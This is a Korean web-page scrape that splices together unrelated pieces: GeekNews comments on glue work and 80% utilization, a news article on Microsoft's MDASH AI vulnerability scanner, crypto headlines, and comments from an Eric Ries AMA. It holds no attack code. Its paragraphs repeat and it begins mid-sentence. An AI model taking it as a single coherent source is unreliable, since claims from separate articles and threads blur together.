나눌 수 있게 해줬음 더 나은 표현은 “글루 작업을 하지 말라”가 아니라 “보상 없는 글루 작업을 하는 유일한 호구가 되지 말라”라고 봄. 즉 모두가 일부를 맡고, 그것이 공식적으로 일로 인정되는 문화 를 밀어야 함 80% 활용률 로 운영하는 건 좋은 습관이고, 매일 하루 종일 100%를 요구하는 감독관식 관리자가 없을 때 도움이 됨. 그런 사람들은 소프트웨어 엔지니어가 조용하고 편안하게 생각하는 모습을 게으른 무위로 오해함 그래서 원격근무는 일부 활용률을 예비로 남기고 정신 건강을 지키는 데 가장 좋은 방식임 약간의 글루 작업은 모두의 업무 생활을 훨씬 낫게 만들고 아무도 그 방법을 모른다면, 팀에서 나를 필수 인력이나 영웅으로 만들어줄 수 있음 80%도 높다고 봄. 그리고 개발자마다 다름 내가 배우고 생각하고 시작하는 데 애를 먹는 방식을 감안하면, 내 80%는 기술적으로 더 강한 동료의 80%와 전혀 같지 않음 신경다양성 성향까지 조금이라도 고려하면, 한 사람의 80은 다른 사람의 120 일 수 있음
좋은 글이지만, 결국 또 인센티브 가 문제로 드러남 사고를 일찍 막거나 완화하면 큰돈을 아낄 수 있다는 말은 맞지만, 여러 회사에서 반복해서 본 건 문제 예방은 인정받지 못하고, 불쏘시개를 잔뜩 쌓아놓은 뒤 필연적인 화재를 끄면 두 번 인정받는다는 점임. “좋은” 조직에서도 그랬음 의도적으로 쓰레기 코드를 빨리 내보내고 그 공을 챙기는 게임 이론식 정치에는 끝내 몰입하지 못했음. 내 작업에 자부심이 너무 컸기 때문임 지난 제품 버전을 괴롭히던 문제군을 없애기 위한 프레임워크를 5년 넘게 관리하고 키웠지만, 쓰레기 코드를 배포해 장애를 만들고 고친 파트너 팀은 공개적으로 칭찬받고, 우리 팀은 그런 장애가 없었다는 이유로 아무 공도 못 받았음. 측정할 수 없는 예방 이기 때문임
“보상 없는 일을 뽑아먹으려는 사람들”에 대한 부분은 액자에 넣어둘 만함 특히 다른 조직의 제품 관리자가 “데이터 쿼리를 잘하시니 X에 대한 통계 좀 뽑아주실 수 있나요?”라고 하거나, 다른 팀 엔지니어가 “페어”를 요청해놓고 결국 내가 코드를 다 쓰고 자기 이름으로 조용히 변경을 제출하는 상황 같은 것임
비꼬려는 건 아니고 관찰에 가깝지만, 충분히 크거나 관료적인 조직에서는 사고를 미리 막아도 공이나 가시성을 얻기 어렵다. 그런 성과는 “원래 해야 하는 일”로 들어감 그래서 회사 정치에 능한 사람들은 차라리 사고가 나게 두고, 후속 조치 항목에서 요란하게 움직이는 쪽을 택함. 요령은 사고를 재앙 으로 키우지 않는 것이고, 꽤 섬세한 작업임
예전부터 이 방향의 글을 반쯤 써둔 적이 있는데, 판타지 RPG 비유를 썼음. 이런 게임에서 마나를 쓰는 캐릭터를 하면, 사소한 전투마다 마나를 다 써버리고 빈 상태로 돌아다니다가 진짜 필요할 때 아무것도 남지 않는다는 걸 금방 배우게 됨 일에서 쓰는 정신적 에너지도 크게 다르지 않음. 탱크에 조금 남겨두면 예상치 못한 일이 생겼을 때 건강, 즉 번아웃 을 위험에 빠뜨리지 않고 전략적으로 쓸 수 있음 이런 게임에서 마나 관리를 못 하는 플레이어와 파티를 맺어보면, 그 사람이 그다지 좋은 팀원이 아니라는 것도 알게 됨
시스템을 무너뜨리고 싶다면 기준 운용을 100% 로 돌리면 됨. 여유가 없고 새 수요를 받아낼 용량도 없으니, 시스템에 작은 교란만 생겨도 상시 실패 모드로 돌아가는 셈임
관점을 바꿔준 비유는 “The Power of Full Engagement”에서 나온 말이었음. 대략 “너는 비시즌이 없는 세계 정상급 지구력 선수 처럼 행동하고 있다. 그만둬라”라는 내용임
여기에 많은 지혜가 있음. 진짜 가치가 큰 일이 왔을 때를 위해 일부 용량을 남겨두는 것에 더해, 소프트웨어 엔지니어링은 계속 바쁘기만 해서는 잘할 수 있는 일이 아니라고 봄 최대한 빨리 코드를 쓰려 하면 좋은 설계가 나오는 경우가 드묾. 이 글은 또 다른 중요한 측면, 즉 관리자에게 혼나지 않고 80% 용량 으로 일하는 방법은 다루지 않음 여기에는 커뮤니케이션과 작업 추정에 약간의 주의가 필요함. 첫 진짜 프로그래밍 직장에서 나이 많은 숙련 개발자들에게 들은 좋은 조언 중 하나가 지금까지 남아 있음. 어떤 일이 얼마나 걸릴지 추정한 뒤, 관리자나 사용자에게 말하기 전에는 두 배로 늘리라는 것임 경험이 쌓이면 그 비율은 2배가 아니라 1.5배쯤으로 내려올 수 있지만, 원칙은 여전히 적용됨
고객 접점 업무를 많이 해본 입장에서, 여러 번 마주친 최악의 함정은 돈을 내는 고객과 친해지는 일이었음. 전문가로 고용되어 도와주는 입장에서, 고객이 정말 괜찮은 사람일 때는 거절이 미친 듯이 어려워짐 더 나쁜 건 그 사람이 의사결정자가 아니라, 나에게 무언가를 밀어붙이도록 강요받는 입장일 때임. 신뢰받는 전문가로서 고객 본인이 나쁜 아이디어를 낼 때는 거절하기 쉽지만, 한 번도 직접 상대하지 않는 그들의 상사가 지시를 내리면 나는 쓸모없는 비용처럼 보이거나, 괴물을 남기고 가는 예스맨 이 되는 위치에 놓임 주로 내부 업무를 해온 사람들이 가끔 부러움. 적어도 위쪽 어딘가의 누군가를 설득해볼 수는 있었을 테니까
글루 작업 에 대한 부분이 흥미로운데, 대기업에서 일할 때 이것은 연간 성과 평가의 명시적 일부였음. Google은 이를 “citizenship”이라고 불렀고, 본질을 잘 잡은 표현이라고 봄. 즉 “회사 나머지 사람들을 위해 무엇을 더 낫게 만들었는가”였음 한편으로는 좀 이상하긴 했음. 내 직무 기술서에 없었으니 기술적으로는 무보수 작업이었지만, 동시에 공식 기대사항의 일부였음. 다른 한편으로는 모두가 시간과 노력을 조금씩 써서 모두를 위해 환경을 개선하는 곳에서 일하는 게 좋았음 모두에게 명시적 요구사항으로 만들면 “나는 록스타 엔지니어라 중요한 일을 하느라 바쁘니 글루 작업은 다른 사람이 하라”는 독성 문화를 우회하려는 시도도 됨. 게다가 그 “다른 사람”은 보통 여성이었고, 거의 확실히 그 록스타 엔지니어보다 적게 받고 있었음 원글은 회사가 글루 작업을 할 사람을 정식으로 고용해야 한다는 함의를 주지만, 실제로는 너무 다양한 조각으로 이루어져 있어서 한 사람을 뽑아 맡기기 거의 불가능함. 예를 들어 “문서 작성, 소프트웨어 엔지니어 면접, 팀 오프사이트 행사 조직”을 모두 포괄하는 직함이 무엇이겠음 하지만 그런 작업은 모두 필요했고, citizenship 요구사항은 부담을 더 공정하게 나눌 수 있게 해줬음 더 나은 표현은 “글루 작업을 하지 말라”가 아니라 “보상 없는 글루 작업을 하는 유일한 호구가 되지 말라”라고 봄. 즉 모두가 일부를 맡고, 그것이 공식적으로 일로 인정되는 문화 를 밀어야 함
80% 활용률 로 운영하는 건 좋은 습관이고, 매일 하루 종일 100%를 요구하는 감독관식 관리자가 없을 때 도움이 됨. 그런 사람들은 소프트웨어 엔지니어가 조용하고 편안하게 생각하는 모습을 게으른 무위로 오해함 그래서 원격근무는 일부 활용률을 예비로 남기고 정신 건강을 지키는 데 가장 좋은 방식임 약간의 글루 작업은 모두의 업무 생활을 훨씬 낫게 만들고 아무도 그 방법을 모른다면, 팀에서 나를 필수 인력이나 영웅으로 만들어줄 수 있음
발행일: 2026-06-12 14:52 (금)
한국어 KR 영어 EN 일본어 JP 중국어 CH
미국 마이크로소프트(MS)가 앤트로픽의 미토스(Mythos)를 능가하는 다중 모델 기반 에이전트형 AI시스템 ‘MDASH’를 공개했다. 특히 'MDASH'는 대구 과학고와 KAIST 출신 김태수 조지아텍 컴퓨터공학과 교수이자 MS 보안 담당 부사장이 주도해 개발했다.
김 부사장은 작년 DARPA가 세계 처음으로 시행한 'AI 사이버 챌린지(AIxCC)'에서 1위를 차지한 팀 애틀랜타를 이끌기도 했다. NSF CAREER 상(2018), 페이스북 인터넷 방어상(2015), SOSP'21, USENIX Security'18, EuroSys'17 등 주요 기관에서 여러 우수 논문 상을 받았다.
김 부사장은 삼성리서치 보안팀에서 2021년 4월부터 4년여간 근무하기도 했다. 당시 그는 삼성전자 최연소 임원이라는 타이틀로 입사했다. 올 1월부터 조지아주 소재 MS에서 근무하고 있다.
외신과 MS 블로그에 따르면, MS는 AI 보안 경쟁이 치열해지는 가운데 새로운 다중 모델 기반 에이전트형 보안 시스템인 MDASH(Multi-Model Agentic Scanning Harness)를 공개했다. 이 시스템은 단일 AI 모델에 의존하지 않고 100개가 넘는 특화 AI 에이전트를 조합해 취약점을 탐지하는 구조로 설계됐다.
앞서 OpenAI는 ‘데이버브레이크(Daybreak)’라는 사이버보안 프로젝트를 발표했다. 이 프로젝트는 자사의 AI 모델과 코드 생성 도구인 코덱스(Codex)를 결합해 안전한 코드 리뷰, 위협 모델링, 패치 검증, 의존성 위험 분석, 보안 수정 가이드 등을 지원하는 것이 핵심이다. 또 앤트로픽 역시 '미토스'를 공개하며 코드베이스 스캔, 취약점 검증, 패치 제안 기능을 제공하는 등 AI 기반 보안 시장 경쟁에 뛰어들었다. MS 최고경영자(CEO) 사티야 나델라도 이번 성과를 본인 트위트에 올렸다.
이번에 MS는 자사의 새로운 AI 보안 시스템 'MDASH'를 공개하며 존재감을 드러냈다고 외신은 전했다. MS에 따르면, 이 시스템은 실제 윈도(Windows)의 네트워크 및 인증(Authentication) 구성 요소에서 총 16개의 새로운 취약점을 발견했으며, 이 가운데 4개는 원격 코드 실행(Remote Code execution)이 가능한 심각한 수준의 취약점이었다.
MS는 새 시스템이 "기존의 단일 모델 기반 보안 시스템보다 더 뛰어난 성능을 보였다"고 강조했다. 의도적으로 21개의 취약점을 심어놓은 비공개 테스트 드라이버 환경에서 MDASH는 21개 취약점을 모두 찾아냈고, 오탐(False Positive)은 단 한 건도 발생하지 않았다. 또 과거 사례를 기반으로 한 회고 테스트에서는 윈도 커널 구성요소인 clfs.sys 관련 지난 5년간의 확인된 MSRC 사례에 대해 96%의 재현율(Recall)을 기록했고, tcpip.sys 사례에서는 100% 재현율을 달성했다.
아울러 실제 취약점 재현 과제 1507개로 구성한 공개 벤치마크인 사이버짐(CyberGym) 평가에서는 MDASH가 88.4%의 점수를 기록하며 리더보드 1위에 올랐다. 이는 앤트로픽의 미토스 모델(83.1%)과 오픈AI의 GPT-5.5(81.8%를 앞서는 성과라고 MS는 설명했다.
'사이버짐(Cyber Gym)' 테스트는 실제 해킹·사이버 공격 상황을 가상 환경에서 재현해 조직의 보안 대응 능력을 훈련·검증하는 모의훈련 체계를 말한다. 일종의 '사이버 전쟁 훈련장' 같은 개념이다.
특히 복잡한 추론이 필요한 작업에는 고성능 대형 모델(frontier models)을 사용하고, 대량의 검증·토론·반복 분석 작업에는 경량화된 증류 모델(distilled models)을 투입하는 방식으로 효율성과 정확도를 동시에 높였다.
[현장] "미토스 쇼크, 한국이 구조적으로 더 취약" 2026.05.13 미 전쟁부, 겉으론 "앤트로픽 퇴출"…실제론 "미토스 활용" 2026.05.13 배 부총리, 보안기업 만나 미토스 대응 논의 2026.05.10 삼성전자, '엑시노스 2600' AI 성능 자신감..."전작 대비 두 배 향상" 2026.06.12
시스템 내부에서는 코드 준비(code preparation), 취약점 스캔(scanning), 결과 검증(validation), 중복 제거(deduplication), 공격 증명 생성(proof generation), 패치 검증(patch validation) 같은 단계별 작업이 분리돼 수행했다. 외신은 "무거운 AI는 깊게 생각하고, 가벼운 AI는 대량 검증을 수행하는 협업 구조를 구현했다"고 평했다.
MS는 AI 취약점 발견이 연구 호기심에서 기업 규모의 방어로 넘어갔다면서 "지속적인 이점은 단일 모델 자체가 아니라 모델 주변의 에이전트 시스템에 있다"고 설명했다. 새 MDASH 시스템은 이미 MS 내부 엔지니어링 팀에서 여러 제품과 서비스의 보안 수준을 강화하는 데 활용하고 있다. 또 일부 고객사를 대상으로 제한된 비공개 프리뷰 형태의 테스트도 진행 중이다. 마이크로소프트는 MDASH 비공개 프리뷰에 관심 있는 고객들이 별도 신청을 통해 참여할 수 있다고 밝혔다.
구글, AI 플러스 월 구독료 4.99달러로 인하…미국서도 AI 구독 가격 전쟁
[디지털투데이 황치규 기자]구글이 AI 구독 서비스 'AI 플러스' 월 구독료를 7.99달러에서 4.99달러로 인하하고 저장 공간을 200GB에서 400GB로 두 배 늘렸다고 테크크런치가 10일(현지시간) 보도했다.
보도에 따르면 구글 AI 플러스는 비디오 생성 도구 옴니 플래시(Omni Flash), 크리에이티브 스튜디오 구글 플로(Google Flow), AI 리서치 어시스턴트 노트북LM(NotebookLM) 등을 포함하고 있다.
굿워터 캐피털(Goodwater Capital) 공동 창업자 치화 치엔은 구글 행보에 대해 AI 인프라 범용화 시대를 향한 신호탄으로 봤다. 그는 "웹 시대에 마이크로소프트, 시스코, 오라클 같은 인프라 기업들이 한때 가치 있었지만 결국 범용화됐다"며 "오픈AI나 앤트로픽 같은 AI 인프라 기업들도 같은 흐름을 피하기 어렵다"고 말했다.
구글은 인도 등 신흥 시장에서 먼저 저가 전략을 펼쳐왔다. 오픈AI는 지난해 8월 인도에서 월 4.60달러대 챗GPT 고(ChatGPT Go)를 출시했고 구글도 12월 인도에서 5달러 미만 AI 플러스 플랜을 선보였다.
앤트로픽은 아직 인도 현지화 요금제나 저가 플랜을 내놓지 않았다. 하지만 경쟁사들이 잇따라 가격을 인하하면서 압박이 커질 전망이다. 오픈AI와 앤트로픽은 모두 IPO를 준비 중으로 프리미엄 기업가치를 유지하는 데 가격 경쟁이 변수로 떠오르고 있다고 테크크런치는 전했다.
이 시각 추천뉴스 10개월 잠잠하던 시바이누 고래, 4000억 SHIB 이동 비트코인, 2020년 이후 역대급 과매도 신호…다음 목표가 7만달러? IBK기업은행, 마이데이터 기반 부동산 청약 서비스 출시 클래리티법 통과 가능성 75%→60%…상원 일정·스테이블코인 쟁점 부담 그레이스케일, 비트코인 바닥 조건 제시…'스트래티지 외 새 매수 주체 필요' 日 최대 거래 플랫폼 메르카리, 시바이누·도지코인 지원…이용자 2300만명 대상 크립토퀀트 창업자 “비트코인, 스트래티지·ETF 덕분에 2만달러대 추락 피했다” 10개월 잠잠하던 시바이누 고래, 4000억 SHIB 이동
10개월 잠잠하던 시바이누 고래, 4000억 SHIB 이동 비트코인, 2020년 이후 역대급 과매도 신호…다음 목표가 7만달러? IBK기업은행, 마이데이터 기반 부동산 청약 서비스 출시 클래리티법 통과 가능성 75%→60%…상원 일정·스테이블코인 쟁점 부담 그레이스케일, 비트코인 바닥 조건 제시…'스트래티지 외 새 매수 주체 필요' 日 최대 거래 플랫폼 메르카리, 시바이누·도지코인 지원…이용자 2300만명 대상 크립토퀀트 창업자 “비트코인, 스트래티지·ETF 덕분에 2만달러대 추락 피했다”
10개월 잠잠하던 시바이누 고래, 4000억 SHIB 이동
비트코인, 2020년 이후 역대급 과매도 신호…다음 목표가 7만달러?
IBK기업은행, 마이데이터 기반 부동산 청약 서비스 출시
클래리티법 통과 가능성 75%→60%…상원 일정·스테이블코인 쟁점 부담
그레이스케일, 비트코인 바닥 조건 제시…'스트래티지 외 새 매수 주체 필요'
日 최대 거래 플랫폼 메르카리, 시바이누·도지코인 지원…이용자 2300만명 대상
크립토퀀트 창업자 “비트코인, 스트래티지·ETF 덕분에 2만달러대 추락 피했다”
"The Lean Startup" 저자이자 신간 "Incorruptible"을 낸 Eric Ries입니다 – 무엇이든 물어보세요 (news.ycombinator.com)
아래는 답글을 통해 Eric Lies가 얘기한 것들
함께 보면 좋은 글 β 어떤 시대에도 살아남는 기업을 만드는 방법 [유튜브] 비즈니스 책들은 전략적 도구가 아니라 오락임 IT 프로젝트 실패의 구조적 원인: 반복되는 관리적 무지와 그 비용 Ask HN: 스타트업을 위한 필독도서가 있을까요? 니 적을 알라: 맥킨지 3년이 내 두 번째 스타트업에 준 교훈
어떤 시대에도 살아남는 기업을 만드는 방법 [유튜브]
IT 프로젝트 실패의 구조적 원인: 반복되는 관리적 무지와 그 비용
Ask HN: 스타트업을 위한 필독도서가 있을까요?
니 적을 알라: 맥킨지 3년이 내 두 번째 스타트업에 준 교훈
GeekNews는 개발·기술·스타트업 소식을 빠르게 전달합니다. Weekly 뉴스레터로 구독하거나, 더 편하게 GeekBots로 받아보세요. Weekly 구독 GeekBots로 받기 GeekNews 소개 숨기기
GeekNews는 개발·기술·스타트업 소식을 빠르게 전달합니다. Weekly 뉴스레터로 구독하거나, 더 편하게 GeekBots로 받아보세요.
Weekly 구독 GeekBots로 받기 GeekNews 소개 숨기기
인증 이메일 클릭후 다시 체크박스를 눌러주세요
▲ GN⁺ 1일전 [-] Hacker News 의견들 “Costco 같은 회사들이 중력을 거스르도록 구조화됐다”는 표현에 대해, 핫도그 가격을 1.50달러로 유지한 일화는 구조 라기보다 리더십 에 가깝다고 봄 가격을 올리려던 순간 권한 있는 최고위 인물이 “올리면 죽인다”고 막은 것이고, 결국 올바른 판단을 가진 리더가 있어야 했다는 뜻임. 좋은 구조와 흔들리지 않는 이상주의적이고 정확한 리더가 둘 다 필요함 이 질문을 던진 게 좋았고, 사실 질문 형태는 아니었지만 그 인용문은 책에 그대로 들어 있음 Costco가 리더십, 강한 윤리, 거대한 규모 때문에만 버텼다고 생각하면 틀림. Wall Street가 건드리기에 너무 큰 회사란 없고, 실제로 Costco의 정신을 해체하려는 시도가 여러 번 있었지만 매번 Costco의 독특한 구조 가 저항하게 해줬음 고객층을 존중하고 제대로 이해하는 리더십 도 중요함 존중받는다고 느끼고 회사가 자기편이라고 진심으로 믿는 고객은 극도로 충성적이 됨. 그런 고객 기반을 만들고 계속 존중하면 문제는 스스로 풀림 Acquired에 Costco를 다룬 훌륭한 에피소드가 있음: https://www.acquired.fm/episodes/costco 다른 목표를 가진 새 소유주가 우회하거나 뒤집을 수 없는 규칙 구조는 없음 가치를 지키는 가장 탄탄한 방법은 “눈으로 본 것을 잊지 않도록 마음을 부지런히 지키고, 그것을 자녀와 자녀의 자녀에게 가르치는 것”에 가까움. 후계자가 문자 그대로 자녀일 필요는 없지만, 회사를 돈 가진 낯선 사람들 에게 넘기면 그들이 새 소유물을 마음대로 다루는 데 놀랄 수 없음 Vale을 쓰는 건가, 아니면 기본 Fable인가? NASA, ATT, IBM, HP, Amazon, Google, 그리고 직접 만든 몇몇 스타트업에서 일했지만, 스타트업을 제외하면 어느 곳도 원래의 사명 을 끝까지 지키지 못했음 창업자가 떠나고 다음 리더십이 창업자의 비전과 가치를 같은 방식으로 공유하지 않기 때문이라고 봄. 회사는 기여하고 싶은 사람들이 모인 협업체라서, 사람이 바뀌면 회사도 바뀌고 이는 피하기 어려움. Costco, Patagonia, Novo Nordisk처럼 이를 피한 원형들이 있다면, 그런 회사를 새로 만드는 법보다 이미 다녔던 회사들을 중력에 저항하는 조직으로 바꾸는 방법이 궁금함. 아니면 이미 너무 늦은 건지도 궁금함 오늘날 세상에서 책이 마주하려는 슬픈 진실 중 하나는 대부분의 회사가 승계의 시험 을 통과하지 못한다는 것임 하지만 이것이 우리가 살아야 하는 현실일 필요는 없음. 중력에 저항하는 조직을 만드는 것도, 이미 그 힘에 붙잡힌 조직을 바꾸는 것도 100% 가능함. 드물다는 사실은 현재 금융 시스템의 인센티브 설계와 가치관에 대해 많은 것을 말해주며, 자연법칙은 아님. 책의 2부인 “The Blueprint”는 이런 조직을 장기적이고 사명 중심적이며 부패하지 않는 일터로 만들기 위한 지배구조와 리더십 도구 를 다룸 기술 업계가 얼마나 “부패 가능”한지에 많은 만드는 사람들이 환멸을 느끼고 있음 예전에 Hacker News 1위에 올랐던 “Revenue Model is More Important than Culture”라는 글에서, 부패를 피하려면 비즈니스 모델 자체가 그 영향을 받지 않도록 해야 한다고 썼음. 하지만 이 논의를 읽고 보니 구조가 지배항 이라는 주장이 더 강하게 느껴짐 그 블로그 글을 읽었더라면 좋았겠음. 새 책의 한 장이 바로 그 내용임 대부분 회사가 쓰는 “사명 중심”이라는 표현은 사실상 완전한 거짓말이고, 기껏해야 “사명을 희망하는” 수준이라고 봄. 비즈니스 모델을 사명과 100% 맞추기 위해 필요한 관리 시스템, 리더십 기법, 구조적 요소를 가리키는 새 용어로 mission drive 를 만들었음. 설치하고 유지보수할 수 있는 엔진 같은 개념임 찾는 사람을 위한 링크: https://somehowmanage.com/2020/09/20/revenue-model-not-cultu... “나빠진다”는 것이 금융 인센티브뿐 아니라 더 많은 사람들이 가치를 얻는 변화와 겹칠 때가 있어 판단이 어려움 예를 들어 Spotify가 “플레이리스트를 쉽게 만들고 공유하게 해준다”에서 “우리가 만들어줄 테니 계속 배경음악처럼 들어라”로 이동한 경우, 초기 고급 사용자에게 나쁜 변화가 늦게 들어온 사용자에게는 좋을 수 있음. 대부분의 사례를 “핵심 청중·고객·시장이 바뀌었다”로 볼 수 있는지, 그리고 주요 청중이 싫어하는 일을 하면서도 더 큰 금융적 성공을 얻는 게 가능한지 궁금함 UI 설계에서는 이 현상의 일부를 연구함 고급 사용자와 초보자 사이에는 항상 긴장이 있고, 좋은 UI가 둘 다 완벽히 만족시키기는 불가능함. 그래서 제품 수명 동안 사용자층이 숙련되면서 UI는 더 복잡하고 이해하기 어려워지는 경향이 있으며, Adobe 제품이 자주 예로 듦. 이는 온보딩과 신규 사용자 확보를 어렵게 하고 성장을 제한할 수 있음. 반대로 더 단순한 제품이 초보자 시장을 노릴 공간을 만들기도 하고, 회사가 기능을 제거하거나 쓰기 어렵게 만들어 덜 까다로운 인구집단에 맞추기도 함. Spotify의 시장점유율이 정체되면 자동 플레이리스트 사용자층 을 계속 맞출지, 평균 사용자가 시간이 지나며 더 세련돼질지가 궁금함 예전에 Spotify에서 일했던 사람이 LinkedIn에 incorruptible 관점으로 이 변화를 훌륭하게 돌아본 글을 썼는데, 지금 링크는 없음 이런 변화는 고객이 원하는 것이 바뀐 결과인 경우가 매우 드물다고 봄. 사람들이 “시장”이라고 말할 때 고객을 말하는지 금융시장을 말하는지 자주 혼동함. 솔직히 이런 종류의 조정은 다른 어떤 단일 원천보다도 금융시장의 압력 에서 비롯되는 경우가 훨씬 많음 _Incorruptible_을 더 깊이 보고 싶은 사람을 위해, 지난 몇 달 동안 수백 건의 인터뷰와 행사를 하며 여러 주제를 이야기해 왔음 그 진행 상황은 Claude Code로 https://howisincorruptiblegoing.com/ 에 요약하게 하고 있음. 지금까지 받은 찬사, 리뷰, 수상 내역도 볼 수 있음 시장의 비윤리적 행동이 구조적이라는 전제에는 동의하고, 책 작업과 LTSE 설립 도 매우 큰 성취라고 봄 다만 규제와 개혁을 통해 공공투자의 전체 인센티브 구조를 착취가 아니라 관리 책임에 맞추도록 되돌릴 수 있을지는 회의적임. 이 꿈과 현실 사이의 “금융 중력”을 어떻게 거스를 계획인지 궁금함. 그리고 Claude Code는 인터뷰와 행사 요약 요청을 잘못 이해한 것 같음. 요약은 없고 마케팅·홍보 웹사이트를 만들어버렸음 저자로서 글쓰기에 AI 도구 를 쓰는 것 자체에 분노하는 사람들을 많이 상대하고 있음. 이런 반응을 어떻게 관리하고 있는지 궁금함 Anthropic에서 일했지만, 이 회사를 긍정적 사례로 들 때 구조 자체 에 많은 공을 돌리지는 않겠음 실제로는 특정 사람들, 특히 초기 팀 상당수와 연구·인프라 쪽 채용, 그리고 그 내부의 가까운 개인적 관계가 중요했다고 봄. 그 역학과 가치에 반하는 일에 굴복하지 않으려는 태도가 일부 비정상적으로 좋은 결정과 결과를 만들었음 [1]. 회사의 여러 부분은 정기적으로 “부패”하고, 대형 기술기업 문화를 들여오지 않고 확장하기는 어려움. 때로는 개별 기여자가 문제를 올리고, Dario가 개별 기여자와 직접 이야기한 뒤 흔드는 방식으로 방어가 이뤄졌음. 하지만 이 과정은 시간이 걸리고 완전한 되돌림으로 이어지지도 않음. 나쁘거나 맞지 않는 채용은 파장을 남김. 여전히 가치에 의해 움직이는 사람들이 많지만, 확장 동학은 다른 조직과 비슷하게 진화하는 듯하며 단지 직원 수와 매출 규모가 더 큰 상태임. Anthropic에서 일하는 특정 사람들은 신뢰하지만, 조직으로서의 Anthropic은 신뢰하지 않음. 구조와 무관하게 변하기 쉬운 조직임 [1]: https://news.ycombinator.com/item?id=47174423 사람의 중요성에 완전히 동의함 나쁜 채용 하나가 20명짜리 스타트업을 망가뜨리는 것도 봤고, 5명짜리 회사가 5명의 개인이 아니라 5x5명처럼 일해서 뛰어난 성과를 내는 것도 봤음 아무리 열심히 노력해도 이런 확장 동학 을 피할 수 있는지 정말 궁금함 피할 수 없다면, 중간관리의 1%만 사람이고 99%가 토큰인 가상의 경량 AI 회사에서 핵심 이점은 목표 정렬일 것 같음. 의사결정 대부분이 정치에 빨려 들어가지 않으면, 투입 자원 대비 산출이 훨씬 더 잘 확장됨 매우 날카로운 분석임. 구조는 껍데기와 같아서 안에 있는 것을 보호할 수는 있지만, 그 안을 활력 있고 건강하게 만들지는 못함 다만 Dario가 꾸준히 보여준 용기가 관습적인 “모범 사례” 구조에서도 가능했을 거라고 생각한다면 스스로를 속이는 것임 Palantir와 “DoW”와 일하기 시작했을 때 그 올곧은 사람들은 외계인에게 납치된 건가? ICs가 무슨 약자인가? 아직 새 책은 읽지 않았지만, 지난 20년 정도의 Disney 궤적 에 대한 견해가 궁금함 Bob Iger의 행동 때문에 Walt의 원래 비전에서 꽤 멀어진 것처럼 보임. 창의성으로 움직이던 회사를 지식재산을 노천채굴하듯 캐내 가치를 추출하는 기계로 바꿨음. Pixar, Lucasfilm, Marvel, Fox 같은 IP를 산 것은 첫날부터 활용 가능한 기존 브랜드를 얻는 위험 완화 전략이었지만, 그렇게 하면서 큰 창의적 베팅으로 세워진 Disney의 영혼을 죽였다고 봄 최근 Abigail Disney를 만날 기회가 있었는데, 할아버지의 정신에 벌어진 일을 매우 강하게 비판해 온 사람임. 꽤 슬프게 들렸음 The Lean Startup을 재미있게 읽었음 “우리 업계”라는 표현을 썼는데, 개인적으로는 “기술 업계”라는 개념을 아주 좋아하지 않음. 많은 스타트업이 소프트웨어·컴퓨팅이 아니고, 새 기술도 꼭 그렇지 않기 때문임. 그래도 사람들이 무슨 뜻으로 쓰는지는 이해함. Costco와 Patagonia 같은 예시는 기술 업계 회사가 아닌데, 새 책에는 기술 업계에서 독점을 밀어붙이는 네트워크 효과 앞에서도 부패하지 않는 방법을 보여주는 사례가 있는지 궁금함. 또는 시장 권력을 분산하기 위해 네트워크 효과를 연결된 제휴사들 사이에 나누는 실용적 방법을 본 적이 있는지도 궁금함 책에서는 기술과 비기술 이야기를 균형 있게 담으려고 최대한 노력했음 Anthropic, GitLab, Cloudflare 같은 기술 쪽 이야기도 몇 개 있음. 공포 사례를 전부 보고 싶다면 Cory Doctorow를 읽으면 됨. 여러 산업의 다양한 이야기를 넣은 이유는 우리가 맞서 싸우는 힘이 얼마나 널리 퍼져 있는지 보여주기 위해서임. 기술 업계에만 고유한 것도 있지만, 우리를 가르는 것보다 공통점이 더 많다고 봄. 개인적으로는 우리가 하는 일을 “기술 업계”보다 스타트업 운동 이라고 부르면 좋겠지만, 그 배는 이미 떠난 것 같음 The Lean Startup의 팬이고, 예전에 만든 몇 개 스타트업에도 영향을 줬으며 성공적인 엑싯도 했음 최근 몇 년간 Silicon Valley가 부패하는 모습을 보며 새 회사를 시작할 동기와 열정이 줄었지만, 새 책이 올바른 윤리로 스타트업을 시작하는 일이 가능하다는 불씨를 되살려주길 기대함. OpenAI가 비영리에서 이상한 구조를 거쳐 사실상 평범한 영리회사처럼 보이는 방향으로 간 부패 경로 를 연구해 본 적이 있는지, 그리고 그 복잡한 회사 구조에서 얻을 교훈이 무엇인지 궁금함 용병들 때문에 너무 낙담하지 않았으면 함 우리 중 많은 사람도 그들에게 우울해하지만, 그들이 오래 남을 것 같지는 않음. 과열 주기 한가운데서 흐름을 판단하려 하면 무엇이 진짜인지 알기 어렵고, 몇 년 뒤 다시 보는 편이 좋음. OpenAI는 교훈을 끌어내기 매우 복잡하고 혼란스러운 회사임. 거대한 자아를 가진 비범한 인물들이 말도 안 되는 일을 많이 하고 있고, 내부 세부 사항도 아직 많이 공개되지 않았음. 배후에서 실제로 무슨 일이 있었는지 우리는 정말로 알지 못한다고 봄. 파벌 다툼도 꽤 있었고, 돈이 그렇게 많이 걸리면 모든 쪽에서 나쁜 행동을 찾을 수 있음. 책에서는 장기간 안정적으로 보이는 구조를 다루며, 세부를 더 잘 아는 Anthropic 이야기로 설명하는 쪽이 편했음. 이런 복잡한 구조에서 정말 중요해 보이는 차이는 통제의 중심점 이 하나인지 둘 이상인지, 즉 견제와 균형이 있는지임. 외부 수탁자 이사회가 영리 이사회를 사명에 대해 책임지게 할 권한을 가질 때 더 안정적인 결과가 나오는 듯함. 이 결론의 바탕이 되는 데이터를 발전시킨 선구자인 Copenhagen Business School의 Steve Thompson 연구를 보면 좋음 AI 시대에 SaaS를 부트스트랩 하는 것에 대한 생각이 궁금함 한 사람이 더 많은 것을 활용할 수 있으니 더 관리 가능해진 건지, 아니면 자원 요구와 고객 기대가 커져 더 어려워진 건지 궁금함. 오늘날 “부패하지 않는” 회사를 시작하는 데 이것이 어떻게 작용하는지도 궁금함 기술 변화가 있을 때마다 그것이 창업가에게 어떻게 적용될지 파악하기는 늘 혼란스러움 한편으로는 새 MVP를 훨씬 쉽게 만들고, 배포와 고객 연결, 린 스타트업이 요구하는 여러 기법을 더 쉽게 실행하게 해줌. 다른 한편으로는 그 같은 역량이 경쟁 스타트업을 만드는 수천·수백만 명과, 당신이 뒤흔들려는 기존 기업들의 손에도 들어감. 특정 기술에서 이른바 공격자의 이점이 방어자의 이점을 넘어설지는 늘 열린 질문임. _Incorruptible_의 관점에서는 특히 LLM 이 회사 내부의 정렬과 일관성을 만들려는 관리자와 리더에게 매우 유리할 수 있다고 봄. LLM이 극도로 잘하는 것이 요약이기 때문임. 현대 리더십 